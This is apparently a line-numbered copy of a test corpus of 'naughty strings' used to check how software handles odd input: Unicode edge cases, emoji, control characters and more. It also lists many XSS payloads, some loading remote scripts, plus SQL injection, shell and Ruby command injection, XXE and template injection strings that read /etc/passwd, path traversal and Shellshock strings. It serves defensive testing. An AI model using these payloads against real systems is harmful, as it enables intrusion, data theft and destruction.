3 # Strings which may be used elsewhere in code
27 # Strings which can be interpreted as numeric
47 -9223372036854775808/-1
69 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
83 123456789012345678901234567890123456789
99 2.2250738585072011e-308
103 # ASCII punctuation.All of these characters may need to be escaped in some
104 # contexts. Divided into three groups based on (US-layout) keyboard position.
110 # Non-whitespace C0 controls: U+0001 through U+0008, U+000E through U+001F,
112 # Often forbidden to appear in various text-based file formats (e.g.XML),
113 # or reused for internal delimiters on the theory that they should never
115 # The next line may appear to be blank or mojibake in some viewers.
116 \ 1\ 2\ 3\ 4\ 5\ 6\a\b\ e\ f\10\11\12\13\14\15\16\17\18\19\1a\e\1c\1d\1e\1f\7f
118 # Non-whitespace C1 controls: U+0080 through U+0084 and U+0086 through U+009F.
119 # Commonly misinterpreted as additional graphic characters.
120 # The next line may appear to be blank, mojibake, or dingbats in some viewers.
121 \80\81\82\83\84\86\87\88\89\8a\8b\8c\8d\8e\8f\90\91\92\93\94\95\96\97\98\99\9a\9b\9c\9d\9e\9f
123 # Whitespace: all of the characters with category Zs, Zl, or Zp (in Unicode
124 # version 8.0.0), plus U+0009 (HT), U+000B (VT), U+000C (FF), U+0085 (NEL),
125 # and U+200B (ZERO WIDTH SPACE), which are in the C categories but are often
126 # treated as whitespace in some contexts.
127 # This file unfortunately cannot express strings containing
128 # U+0000, U+000A, or U+000D (NUL, LF, CR).
129 # The next line may appear to be blank or mojibake in some viewers.
130 # The next line may be flagged for "trailing whitespace" in some viewers.
133 # Unicode additional control characters: all of the characters with
134 # general category Cf (in Unicode 8.0.0).
135 # The next line may appear to be blank or mojibake in some viewers.
136
138 # "Byte order marks", U+FEFF and U+FFFE, each on its own line.
139 # The next two lines may appear to be blank or mojibake in some viewers.
145 # Strings which contain common unicode symbols (e.g.smart quotes)
156 ЁЂЃЄЅІЇЈЉЊЋЌЍЎЏАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмнопрстуфхцчшщъыьэюя
159 # Unicode Subscript/Superscript/Accents
161 # Strings which contain unicode subscripts/superscripts; can cause rendering issues
166 ด้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้
170 # Strings which contain misplaced quotation marks; can cause encoding errors
184 # Two-Byte Characters
186 # Strings which contain two-byte characters: can cause rendering issues or character-length issues
193 찦차를 타고 온 펲시맨과 쑛다리 똠방각하
198 # Strings which contain two-byte letters: can cause issues with naïve UTF-16 capitalizers which think that 16 bits == 1 character
200 𐐜 𐐔𐐇𐐝𐐀𐐡𐐇𐐓 𐐙𐐊𐐡𐐝𐐓/𐐝𐐇𐐗𐐊𐐤𐐔 𐐒𐐋𐐗 𐐒𐐌 𐐜 𐐡𐐀𐐖𐐇𐐤𐐓𐐝 𐐱𐑂 𐑄 𐐔𐐇𐐝𐐀𐐡𐐇𐐓 𐐏𐐆𐐅𐐤𐐆𐐚𐐊𐐡𐐝𐐆𐐓𐐆
202 # Special Unicode Characters Union
204 # A super string recommended by VMware Inc. Globalization Team: can effectively cause rendering issues or character-length issues to validate product globalization readiness.
206 # 表 CJK_UNIFIED_IDEOGRAPHS (U+8868)
207 # ポ KATAKANA LETTER PO (U+30DD)
208 # あ HIRAGANA LETTER A (U+3042)
209 # A LATIN CAPITAL LETTER A (U+0041)
210 # 鷗 CJK_UNIFIED_IDEOGRAPHS (U+9DD7)
211 # ΠLATIN SMALL LIGATURE OE (U+0153)
212 # é LATIN SMALL LETTER E WITH ACUTE (U+00E9)
213 # Ｂ FULLWIDTH LATIN CAPITAL LETTER B (U+FF22)
214 # 逍 CJK_UNIFIED_IDEOGRAPHS (U+900D)
215 # Ü LATIN SMALL LETTER U WITH DIAERESIS (U+00FC)
216 # ß LATIN SMALL LETTER SHARP S (U+00DF)
217 # ª FEMININE ORDINAL INDICATOR (U+00AA)
218 # ą LATIN SMALL LETTER A WITH OGONEK (U+0105)
219 # ñ LATIN SMALL LETTER N WITH TILDE (U+00F1)
220 # 丂 CJK_UNIFIED_IDEOGRAPHS (U+4E02)
221 # 㐀 CJK Ideograph Extension A, First (U+3400)
222 # 𠀀 CJK Ideograph Extension B, First (U+20000)
226 # Changing length when lowercased
228 # Characters which increase in length (2 to 3 bytes) when lowercased
229 # Credit: https://twitter.com/jifa/status/625776454479970304
236 # Strings which consists of Japanese-style emoticons which are popular on the web
244 ,。・:*:・゜’( ☻ ω ☻ )。・:*:・゜’
253 # Strings which contain Emoji; should be the same behavior as two-byte characters, but not always
257 👨🦰 👨🏿🦰 👨🦱 👨🏿🦱 🦹🏿♂️
260 ❤️ 💔 💌 💕 💞 💓 💗 💖 💘 💝 💟 💜 💛 💚 💙
262 👨👩👦 👨👩👧👦 👨👨👦 👩👩👧 👨👦 👨👧👦 👩👦 👩👧👦
264 0️⃣ 1️⃣ 2️⃣ 3️⃣ 4️⃣ 5️⃣ 6️⃣ 7️⃣ 8️⃣ 9️⃣ 🔟
266 # Regional Indicator Symbols
268 # Regional Indicator Symbols can be displayed differently across
269 # fonts, and have a number of special behaviors
277 # Strings which contain unicode numbers; if the code is localized, it should see the input as numeric
282 # Right-To-Left Strings
284 # Strings which contain text that should be rendered RTL if possible (e.g.Arabic, Hebrew)
286 ثم نفس سقطت وبالتحديد،, جزيرتي باستخدام أن دنو. إذ هنا؟ الستار وتنصيب كان. أهّل ايطاليا، بريطانيا-فرنسا قد أخذ. سليمان، إتفاقية بين ما, يذكر.
287 בְּרֵאשִׁית, בָּרָא אֱלֹהִים, אֵת הַשָּׁמַיִם, וְאֵת הָאָרֶץ
288 הָיְתָהtestالصفحات التّحول
291 مُنَاقَشَةُ سُبُلِ اِسْتِخْدَامِ اللُّغَةِ فِي النُّظُمِ الْقَائِمَةِ وَفِيم يَخُصَّ التَّطْبِيقَاتُ الْحاسُوبِيَّةُ،
292 الكل في المجمو عة (5)
296 # The only unicode alphabet to use a space which isn't empty but should still act like a space.
303 # Strings which contain unicode with unusual properties (e.g. Right-to-left override) (c.f. http://www.unicode.org/charts/PDF/U2000.pdf)
313 # Strings which contain "corrupted" text. The corruption will not appear in non-HTML text, however. (via http://www.eeemo.net)
315 Ṱ̺̺̕o͞ ̷i̲̬͇̪͙n̝̗͕v̟̜̘̦͟o̶̙̰̠kè͚̮̺̪̹̱̤ ̖t̝͕̳̣̻̪͞h̼͓̲̦̳̘̲e͇̣̰̦̬͎ ̢̼̻̱̘h͚͎͙̜̣̲ͅi̦̲̣̰̤v̻͍e̺̭̳̪̰-m̢iͅn̖̺̞̲̯̰d̵̼̟͙̩̼̘̳ ̞̥̱̳̭r̛̗̘e͙p͠r̼̞̻̭̗e̺̠.̨̹͈̣
316 ̡͓̞ͅI̗̘̦͝n͇͇͙v̮̫ok̲̫̙͈i̖͙̭̹̠̞n̡̻̮̣̺g̲͈͙̭͙̬͎ ̰t͔̦h̞̲e̢̤ ͍̬̲͖f̴̘͕̣è͖ẹ̥̩l͖͔͚i͓͚̦͠n͖͍̗͓̳̮g͍ ̨o͚̪͡f̘̣̬ ̖̘͖̟͙̮c҉͔̫͖͓͇͖ͅh̵̤̣͚͔á̗̼͕ͅo̼̣̥s̱͈̺̖.̛̖̞̠̫̰
317 ̗̺͖̹̯͓Ṯ̤͍̥͇͈h̲́e͏͓̼̗̙̼̣͔ ͇̜̱̠͓͍ͅN͕͠e̗̱z̘̝̜̺͙p̤̺̹͍̯͚e̠̻̠͜r̨̤͍̺̖͔̖̖d̠̟̭̬̝͟i̦͖̩͓͔̤a̠̗̬͉̙n͚͜ ̻̞̰͚ͅh̵͉i̳̞v̢͇ḙ͎͟-҉̭̩̼͔m̤̭̫i͕͇̝̦n̗͙ḍ̟ ̯̲͕͞ǫ̟̯̰.̟
318 ̦H̬̤̗̤͝e͜ ̜̥̝̻͍̟́w̕h̖̯͓o̝͙̖͎̱̮ ҉̺̙̞̟͈W̷̼̭a̺̪͍į͈͕̭͙̯̜t̶̼̮s̘͙͖̕ ̠̫̠B̻͍͙͉̳ͅe̵h̵̬͇̫͙i̹͓̳̳̮͎̫̕n͟d̴̪̜̖ ̰͉̩͇͙̲͞ͅT͖̼͓̪͢h͏͓̮̻e̬̝̟ͅ ̤̹̝W͙̞̝͔͇͝ͅa͏͓͔̹.͕
319 Z̮̞̠͙͔ͅḀ̗̞͈̻̗Ḷ͙͎̯̹̞͓G̻O̭̗̮
323 # Strings which contain unicode with an "upsidedown" effect (via http://www.upsidedowntext.com)
325 ˙ɐnbᴉlɐ ɐuƃɐɯ ǝɹolop ʇǝ ǝɹoqɐl ʇn ʇunpᴉpᴉɔuᴉ ɹodɯǝʇ poɯsnᴉǝ op pǝs 'ʇᴉlǝ ƃuᴉɔsᴉdᴉpɐ ɹnʇǝʇɔǝsuoɔ 'ʇǝɯɐ ʇᴉs ɹolop ɯnsdᴉ ɯǝɹo˥
330 # Strings which contain bold/italic/etc.versions of normal characters
332 Ｔｈｅ ｑｕｉｃｋ ｂｒｏｗｎ ｆｏｘ ｊｕｍｐｓ ｏｖｅｒ ｔｈｅ ｌａｚｙ ｄｏｇ
333 𝐓𝐡𝐞 𝐪𝐮𝐢𝐜𝐤 𝐛𝐫𝐨𝐰𝐧 𝐟𝐨𝐱 𝐣𝐮𝐦𝐩𝐬 𝐨𝐯𝐞𝐫 𝐭𝐡𝐞 𝐥𝐚𝐳𝐲 𝐝𝐨𝐠
334 𝕿𝖍𝖊 𝖖𝖚𝖎𝖈𝖐 𝖇𝖗𝖔𝖜𝖓 𝖋𝖔𝖝 𝖏𝖚𝖒𝖕𝖘 𝖔𝖛𝖊𝖗 𝖙𝖍𝖊 𝖑𝖆𝖟𝖞 𝖉𝖔𝖌
335 𝑻𝒉𝒆 𝒒𝒖𝒊𝒄𝒌 𝒃𝒓𝒐𝒘𝒏 𝒇𝒐𝒙 𝒋𝒖𝒎𝒑𝒔 𝒐𝒗𝒆𝒓 𝒕𝒉𝒆 𝒍𝒂𝒛𝒚 𝒅𝒐𝒈
336 𝓣𝓱𝓮 𝓺𝓾𝓲𝓬𝓴 𝓫𝓻𝓸𝔀𝓷 𝓯𝓸𝔁 𝓳𝓾𝓶𝓹𝓼 𝓸𝓿𝓮𝓻 𝓽𝓱𝓮 𝓵𝓪𝔃𝔂 𝓭𝓸𝓰
337 𝕋𝕙𝕖 𝕢𝕦𝕚𝕔𝕜 𝕓𝕣𝕠𝕨𝕟 𝕗𝕠𝕩 𝕛𝕦𝕞𝕡𝕤 𝕠𝕧𝕖𝕣 𝕥𝕙𝕖 𝕝𝕒𝕫𝕪 𝕕𝕠𝕘
338 𝚃𝚑𝚎 𝚚𝚞𝚒𝚌𝚔 𝚋𝚛𝚘𝚠𝚗 𝚏𝚘𝚡 𝚓𝚞𝚖𝚙𝚜 𝚘𝚟𝚎𝚛 𝚝𝚑𝚎 𝚕𝚊𝚣𝚢 𝚍𝚘𝚐
339 ⒯⒣⒠ ⒬⒰⒤⒞⒦ ⒝⒭⒪⒲⒩ ⒡⒪⒳ ⒥⒰⒨⒫⒮ ⒪⒱⒠⒭ ⒯⒣⒠ ⒧⒜⒵⒴ ⒟⒪⒢
343 # Strings which attempt to invoke a benign script injection; shows vulnerability to XSS
345 <script>alert(0)</script>
346 <script>alert('1');</script>
347 <img src=x onerror=alert(2) />
348 <svg><script>123<1>alert(3)</script>
349 "><script>alert(4)</script>
350 '><script>alert(5)</script>
351 ><script>alert(6)</script>
352 </script><script>alert(7)</script>
353 < / script >< script >alert(8)< / script >
354 onfocus=JaVaSCript:alert(9) autofocus
355 " onfocus=JaVaSCript:alert(10) autofocus
356 ' onfocus=JaVaSCript:alert(11) autofocus
357 ＜script＞alert(12)＜/script＞
358 <sc<script>ript>alert(13)</sc</script>ript>
359 --><script>alert(14)</script>
364 src=JaVaSCript:prompt(19)
365 "><script>alert(20);</script x="
366 '><script>alert(21);</script x='
367 ><script>alert(22);</script x=
368 " autofocus onkeyup="javascript:alert(23)
369 ' autofocus onkeyup='javascript:alert(24)
370 <script\x20type="text/javascript">javascript:alert(25);</script>
371 <script\x3Etype="text/javascript">javascript:alert(26);</script>
372 <script\x0Dtype="text/javascript">javascript:alert(27);</script>
373 <script\x09type="text/javascript">javascript:alert(28);</script>
374 <script\x0Ctype="text/javascript">javascript:alert(29);</script>
375 <script\x2Ftype="text/javascript">javascript:alert(30);</script>
376 <script\x0Atype="text/javascript">javascript:alert(31);</script>
377 '`"><\x3Cscript>javascript:alert(32)</script>
378 '`"><\x00script>javascript:alert(33)</script>
379 ABC<div style="x\x3Aexpression(javascript:alert(34)">DEF
380 ABC<div style="x:expression\x5C(javascript:alert(35)">DEF
381 ABC<div style="x:expression\x00(javascript:alert(36)">DEF
382 ABC<div style="x:exp\x00ression(javascript:alert(37)">DEF
383 ABC<div style="x:exp\x5Cression(javascript:alert(38)">DEF
384 ABC<div style="x:\x0Aexpression(javascript:alert(39)">DEF
385 ABC<div style="x:\x09expression(javascript:alert(40)">DEF
386 ABC<div style="x:\xE3\x80\x80expression(javascript:alert(41)">DEF
387 ABC<div style="x:\xE2\x80\x84expression(javascript:alert(42)">DEF
388 ABC<div style="x:\xC2\xA0expression(javascript:alert(43)">DEF
389 ABC<div style="x:\xE2\x80\x80expression(javascript:alert(44)">DEF
390 ABC<div style="x:\xE2\x80\x8Aexpression(javascript:alert(45)">DEF
391 ABC<div style="x:\x0Dexpression(javascript:alert(46)">DEF
392 ABC<div style="x:\x0Cexpression(javascript:alert(47)">DEF
393 ABC<div style="x:\xE2\x80\x87expression(javascript:alert(48)">DEF
394 ABC<div style="x:\xEF\xBB\xBFexpression(javascript:alert(49)">DEF
395 ABC<div style="x:\x20expression(javascript:alert(50)">DEF
396 ABC<div style="x:\xE2\x80\x88expression(javascript:alert(51)">DEF
397 ABC<div style="x:\x00expression(javascript:alert(52)">DEF
398 ABC<div style="x:\xE2\x80\x8Bexpression(javascript:alert(53)">DEF
399 ABC<div style="x:\xE2\x80\x86expression(javascript:alert(54)">DEF
400 ABC<div style="x:\xE2\x80\x85expression(javascript:alert(55)">DEF
401 ABC<div style="x:\xE2\x80\x82expression(javascript:alert(56)">DEF
402 ABC<div style="x:\x0Bexpression(javascript:alert(57)">DEF
403 ABC<div style="x:\xE2\x80\x81expression(javascript:alert(58)">DEF
404 ABC<div style="x:\xE2\x80\x83expression(javascript:alert(59)">DEF
405 ABC<div style="x:\xE2\x80\x89expression(javascript:alert(60)">DEF
406 <a href="\x0Bjavascript:javascript:alert(61)" id="fuzzelement1">test</a>
407 <a href="\x0Fjavascript:javascript:alert(62)" id="fuzzelement1">test</a>
408 <a href="\xC2\xA0javascript:javascript:alert(63)" id="fuzzelement1">test</a>
409 <a href="\x05javascript:javascript:alert(64)" id="fuzzelement1">test</a>
410 <a href="\xE1\xA0\x8Ejavascript:javascript:alert(65)" id="fuzzelement1">test</a>
411 <a href="\x18javascript:javascript:alert(66)" id="fuzzelement1">test</a>
412 <a href="\x11javascript:javascript:alert(67)" id="fuzzelement1">test</a>
413 <a href="\xE2\x80\x88javascript:javascript:alert(68)" id="fuzzelement1">test</a>
414 <a href="\xE2\x80\x89javascript:javascript:alert(69)" id="fuzzelement1">test</a>
415 <a href="\xE2\x80\x80javascript:javascript:alert(70)" id="fuzzelement1">test</a>
416 <a href="\x17javascript:javascript:alert(71)" id="fuzzelement1">test</a>
417 <a href="\x03javascript:javascript:alert(72)" id="fuzzelement1">test</a>
418 <a href="\x0Ejavascript:javascript:alert(73)" id="fuzzelement1">test</a>
419 <a href="\x1Ajavascript:javascript:alert(74)" id="fuzzelement1">test</a>
420 <a href="\x00javascript:javascript:alert(75)" id="fuzzelement1">test</a>
421 <a href="\x10javascript:javascript:alert(76)" id="fuzzelement1">test</a>
422 <a href="\xE2\x80\x82javascript:javascript:alert(77)" id="fuzzelement1">test</a>
423 <a href="\x20javascript:javascript:alert(78)" id="fuzzelement1">test</a>
424 <a href="\x13javascript:javascript:alert(79)" id="fuzzelement1">test</a>
425 <a href="\x09javascript:javascript:alert(80)" id="fuzzelement1">test</a>
426 <a href="\xE2\x80\x8Ajavascript:javascript:alert(81)" id="fuzzelement1">test</a>
427 <a href="\x14javascript:javascript:alert(82)" id="fuzzelement1">test</a>
428 <a href="\x19javascript:javascript:alert(83)" id="fuzzelement1">test</a>
429 <a href="\xE2\x80\xAFjavascript:javascript:alert(84)" id="fuzzelement1">test</a>
430 <a href="\x1Fjavascript:javascript:alert(85)" id="fuzzelement1">test</a>
431 <a href="\xE2\x80\x81javascript:javascript:alert(86)" id="fuzzelement1">test</a>
432 <a href="\x1Djavascript:javascript:alert(87)" id="fuzzelement1">test</a>
433 <a href="\xE2\x80\x87javascript:javascript:alert(88)" id="fuzzelement1">test</a>
434 <a href="\x07javascript:javascript:alert(89)" id="fuzzelement1">test</a>
435 <a href="\xE1\x9A\x80javascript:javascript:alert(90)" id="fuzzelement1">test</a>
436 <a href="\xE2\x80\x83javascript:javascript:alert(91)" id="fuzzelement1">test</a>
437 <a href="\x04javascript:javascript:alert(92)" id="fuzzelement1">test</a>
438 <a href="\x01javascript:javascript:alert(93)" id="fuzzelement1">test</a>
439 <a href="\x08javascript:javascript:alert(94)" id="fuzzelement1">test</a>
440 <a href="\xE2\x80\x84javascript:javascript:alert(95)" id="fuzzelement1">test</a>
441 <a href="\xE2\x80\x86javascript:javascript:alert(96)" id="fuzzelement1">test</a>
442 <a href="\xE3\x80\x80javascript:javascript:alert(97)" id="fuzzelement1">test</a>
443 <a href="\x12javascript:javascript:alert(98)" id="fuzzelement1">test</a>
444 <a href="\x0Djavascript:javascript:alert(99)" id="fuzzelement1">test</a>
445 <a href="\x0Ajavascript:javascript:alert(100)" id="fuzzelement1">test</a>
446 <a href="\x0Cjavascript:javascript:alert(101)" id="fuzzelement1">test</a>
447 <a href="\x15javascript:javascript:alert(102)" id="fuzzelement1">test</a>
448 <a href="\xE2\x80\xA8javascript:javascript:alert(103)" id="fuzzelement1">test</a>
449 <a href="\x16javascript:javascript:alert(104)" id="fuzzelement1">test</a>
450 <a href="\x02javascript:javascript:alert(105)" id="fuzzelement1">test</a>
451 <a href="\x1Bjavascript:javascript:alert(106)" id="fuzzelement1">test</a>
452 <a href="\x06javascript:javascript:alert(107)" id="fuzzelement1">test</a>
453 <a href="\xE2\x80\xA9javascript:javascript:alert(108)" id="fuzzelement1">test</a>
454 <a href="\xE2\x80\x85javascript:javascript:alert(109)" id="fuzzelement1">test</a>
455 <a href="\x1Ejavascript:javascript:alert(110)" id="fuzzelement1">test</a>
456 <a href="\xE2\x81\x9Fjavascript:javascript:alert(111)" id="fuzzelement1">test</a>
457 <a href="\x1Cjavascript:javascript:alert(112)" id="fuzzelement1">test</a>
458 <a href="javascript\x00:javascript:alert(113)" id="fuzzelement1">test</a>
459 <a href="javascript\x3A:javascript:alert(114)" id="fuzzelement1">test</a>
460 <a href="javascript\x09:javascript:alert(115)" id="fuzzelement1">test</a>
461 <a href="javascript\x0D:javascript:alert(116)" id="fuzzelement1">test</a>
462 <a href="javascript\x0A:javascript:alert(117)" id="fuzzelement1">test</a>
463 `"'><img src=xxx:x \x0Aonerror=javascript:alert(118)>
464 `"'><img src=xxx:x \x22onerror=javascript:alert(119)>
465 `"'><img src=xxx:x \x0Bonerror=javascript:alert(120)>
466 `"'><img src=xxx:x \x0Donerror=javascript:alert(121)>
467 `"'><img src=xxx:x \x2Fonerror=javascript:alert(122)>
468 `"'><img src=xxx:x \x09onerror=javascript:alert(123)>
469 `"'><img src=xxx:x \x0Conerror=javascript:alert(124)>
470 `"'><img src=xxx:x \x00onerror=javascript:alert(125)>
471 `"'><img src=xxx:x \x27onerror=javascript:alert(126)>
472 `"'><img src=xxx:x \x20onerror=javascript:alert(127)>
473 "`'><script>\x3Bjavascript:alert(128)</script>
474 "`'><script>\x0Djavascript:alert(129)</script>
475 "`'><script>\xEF\xBB\xBFjavascript:alert(130)</script>
476 "`'><script>\xE2\x80\x81javascript:alert(131)</script>
477 "`'><script>\xE2\x80\x84javascript:alert(132)</script>
478 "`'><script>\xE3\x80\x80javascript:alert(133)</script>
479 "`'><script>\x09javascript:alert(134)</script>
480 "`'><script>\xE2\x80\x89javascript:alert(135)</script>
481 "`'><script>\xE2\x80\x85javascript:alert(136)</script>
482 "`'><script>\xE2\x80\x88javascript:alert(137)</script>
483 "`'><script>\x00javascript:alert(138)</script>
484 "`'><script>\xE2\x80\xA8javascript:alert(139)</script>
485 "`'><script>\xE2\x80\x8Ajavascript:alert(140)</script>
486 "`'><script>\xE1\x9A\x80javascript:alert(141)</script>
487 "`'><script>\x0Cjavascript:alert(142)</script>
488 "`'><script>\x2Bjavascript:alert(143)</script>
489 "`'><script>\xF0\x90\x96\x9Ajavascript:alert(144)</script>
490 "`'><script>-javascript:alert(145)</script>
491 "`'><script>\x0Ajavascript:alert(146)</script>
492 "`'><script>\xE2\x80\xAFjavascript:alert(147)</script>
493 "`'><script>\x7Ejavascript:alert(148)</script>
494 "`'><script>\xE2\x80\x87javascript:alert(149)</script>
495 "`'><script>\xE2\x81\x9Fjavascript:alert(150)</script>
496 "`'><script>\xE2\x80\xA9javascript:alert(151)</script>
497 "`'><script>\xC2\x85javascript:alert(152)</script>
498 "`'><script>\xEF\xBF\xAEjavascript:alert(153)</script>
499 "`'><script>\xE2\x80\x83javascript:alert(154)</script>
500 "`'><script>\xE2\x80\x8Bjavascript:alert(155)</script>
501 "`'><script>\xEF\xBF\xBEjavascript:alert(156)</script>
502 "`'><script>\xE2\x80\x80javascript:alert(157)</script>
503 "`'><script>\x21javascript:alert(158)</script>
504 "`'><script>\xE2\x80\x82javascript:alert(159)</script>
505 "`'><script>\xE2\x80\x86javascript:alert(160)</script>
506 "`'><script>\xE1\xA0\x8Ejavascript:alert(161)</script>
507 "`'><script>\x0Bjavascript:alert(162)</script>
508 "`'><script>\x20javascript:alert(163)</script>
509 "`'><script>\xC2\xA0javascript:alert(164)</script>
510 <img \x00src=x onerror="alert(165)">
511 <img \x47src=x onerror="javascript:alert(166)">
512 <img \x11src=x onerror="javascript:alert(167)">
513 <img \x12src=x onerror="javascript:alert(168)">
514 <img\x47src=x onerror="javascript:alert(169)">
515 <img\x10src=x onerror="javascript:alert(170)">
516 <img\x13src=x onerror="javascript:alert(171)">
517 <img\x32src=x onerror="javascript:alert(172)">
518 <img\x47src=x onerror="javascript:alert(173)">
519 <img\x11src=x onerror="javascript:alert(174)">
520 <img \x47src=x onerror="javascript:alert(175)">
521 <img \x34src=x onerror="javascript:alert(176)">
522 <img \x39src=x onerror="javascript:alert(177)">
523 <img \x00src=x onerror="javascript:alert(178)">
524 <img src\x09=x onerror="javascript:alert(179)">
525 <img src\x10=x onerror="javascript:alert(180)">
526 <img src\x13=x onerror="javascript:alert(181)">
527 <img src\x32=x onerror="javascript:alert(182)">
528 <img src\x12=x onerror="javascript:alert(183)">
529 <img src\x11=x onerror="javascript:alert(184)">
530 <img src\x00=x onerror="javascript:alert(185)">
531 <img src\x47=x onerror="javascript:alert(186)">
532 <img src=x\x09onerror="javascript:alert(187)">
533 <img src=x\x10onerror="javascript:alert(188)">
534 <img src=x\x11onerror="javascript:alert(189)">
535 <img src=x\x12onerror="javascript:alert(190)">
536 <img src=x\x13onerror="javascript:alert(191)">
537 <img[a][b][c]src[d]=x[e]onerror=[f]"alert(192)">
538 <img src=x onerror=\x09"javascript:alert(193)">
539 <img src=x onerror=\x10"javascript:alert(194)">
540 <img src=x onerror=\x11"javascript:alert(195)">
541 <img src=x onerror=\x12"javascript:alert(196)">
542 <img src=x onerror=\x32"javascript:alert(197)">
543 <img src=x onerror=\x00"javascript:alert(198)">
544 <a href=javascript:javascript:alert(199)>XXX</a>
545 <img src="x` `<script>javascript:alert(200)</script>"` `>
546 <img src onerror /" '"= alt=javascript:alert(201)//">
547 <title onpropertychange=javascript:alert(202)></title><title title=>
548 <a href=http://foo.bar/#x=`y></a><img alt="`><img src=x:x onerror=javascript:alert(203)></a>">
549 <!--[if]><script>javascript:alert(204)</script -->
550 <!--[if<img src=x onerror=javascript:alert(205)//]> -->
551 <script src="/\%(jscript)s"></script>
552 <script src="\\%(jscript)s"></script>
553 <IMG """><SCRIPT>alert("206")</SCRIPT>">
554 <IMG SRC=javascript:alert(String.fromCharCode(50,48,55))>
555 <IMG SRC=# onmouseover="alert('208')">
556 <IMG SRC= onmouseover="alert('209')">
557 <IMG onmouseover="alert('210')">
558 <IMG SRC=javascript:alert('211')>
559 <IMG SRC=javascript:alert('212')>
560 <IMG SRC=javascript:alert('213')>
561 <IMG SRC="jav ascript:alert('214');">
562 <IMG SRC="jav	ascript:alert('215');">
563 <IMG SRC="jav
ascript:alert('216');">
564 <IMG SRC="jav
ascript:alert('217');">
565 perl -e 'print "<IMG SRC=java\0script:alert(\"218\")>";' > out
566 <IMG SRC="  javascript:alert('219');">
567 <SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
568 <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("220")>
569 <SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
570 <<SCRIPT>alert("221");//<</SCRIPT>
571 <SCRIPT SRC=http://ha.ckers.org/xss.js?< B >
572 <SCRIPT SRC=//ha.ckers.org/.j>
573 <IMG SRC="javascript:alert('222')"
574 <iframe src=http://ha.ckers.org/scriptlet.html <
576 <u oncopy=alert()> Copy me</u>
577 <i onwheel=alert(224)> Scroll over me </i>
580 </textarea><script>alert(225)</script>
584 # Strings which can cause a SQL injection if inputs are not sanitized
587 1'; DROP TABLE users-- 1
590 '; EXEC sp_MSForEachTable 'DROP TABLE ?'; --
595 # Server Code Injection
597 # Strings which can cause user to run code on server as a privileged user (c.f. https://news.ycombinator.com/item?id=7665153)
604 /dev/null; touch /tmp/blns.fail ; echo
605 `touch /tmp/blns.fail`
606 $(touch /tmp/blns.fail)
607 @{[system "touch /tmp/blns.fail"]}
609 # Command Injection (Ruby)
611 # Strings which can call system commands within Ruby/Rails applications
613 eval("puts 'hello world'")
616 Kernel.exec("ls -al /")
620 # XXE Injection (XML)
622 # String which can reveal system files when parsed by a badly configured XML parser
624 <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
626 # Unwanted Interpolation
628 # Strings which can be accidentally expanded into different strings if evaluated in the wrong context, e.g. used as a printf format string or via Perl or shell eval. Might expose sensitive data from the program doing the interpolation, or might just repr.
642 # Strings which can cause user to pull in files that should not be a part of a web server
644 /../../../../../../../../.././etc/passwd%00
645 /../../../../../../../../.././etc/hosts
647 # Known CVEs and Vulnerabilities
649 # Strings that test for known vulnerabilities
651 () { 0; }; touch /tmp/blns.shellshock1.fail;
652 () { _; } >_[$($())] { touch /tmp/blns.shellshock2.fail; }
656 # MSDOS/Windows Special Filenames
658 # Strings which are reserved characters in MSDOS/Windows
675 # IRC specific strings
677 # Strings that may occur on IRC clients that make security products freak out
679 DCC SEND STARTKEYLOGGER 0 0 0
683 # Innocuous strings which may be blocked by profanity filters (https://en.wikipedia.org/wiki/Scunthorpe_problem)
685 Scunthorpe General Hospital
686 Penistone Community Church
687 Lightwater Country Park
692 http://www.cum.qc.ca/
693 Craig Cockburn, Software Specialist
695 Dr. Herman I.Libshitz
698 medieval erection of parapets
710 # Strings which may cause human to reinterpret worldview
712 If you're reading this, you've been in a coma for almost 20 years now. We're trying a new technique. We don't know where this message will end up in your dream, but we hope it works. Please wake up, we miss you.
714 # Terminal escape codes
716 # Strings which punish the fools who use cat/type on this file
718 Roses are
\e[0;31mred
\e[0m, violets are
\e[0;34mblue.Hope you enjoy terminal hue
719 But now...
\e[20Cfor my greatest trick.
\e[8m
720 The quic
\b\b\b\b\b\bk brown fo
\a\a\a\a\a\a\a\a\a\a\ax.[Beeeep]
722 # iOS Vulnerabilities
724 # Strings which crashed iMessage in various versions of iOS
726 Powerلُلُصّبُلُلصّبُررً ॣ ॣh ॣ ॣ冗
730 # Persian special characters
732 # This is a four characters string which includes Persian special characters (گچپژ)
738 # first one is supposed to raise "MemoryError" exception
739 # second, obviously, prints contents of /etc/passwd
741 {% print 'x' * 64 * 1024**3 %}
742 {{ "".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read() }}